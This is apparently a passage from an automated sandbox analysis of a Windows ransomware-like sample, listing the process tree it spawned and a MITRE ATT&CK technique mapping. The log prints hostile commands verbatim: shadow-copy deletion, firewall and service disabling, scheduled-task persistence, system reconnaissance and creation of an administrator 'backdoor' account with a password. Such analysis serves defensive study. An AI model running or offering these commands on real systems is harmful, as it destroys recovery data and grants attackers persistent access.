  PID:2784
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4048
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4172
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5060
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1892
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3780
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:2404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:748
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4224
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4720
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:260
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2444
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2056
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1912
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2096
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4768
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2116
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3196
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1560
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4172
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:1648
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:2272

C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
1⤵
PID:2568

C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
C:\Users\Admin\AppData\Local\Temp\90phutzal.tv_nano.exe
1⤵
PID:1064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery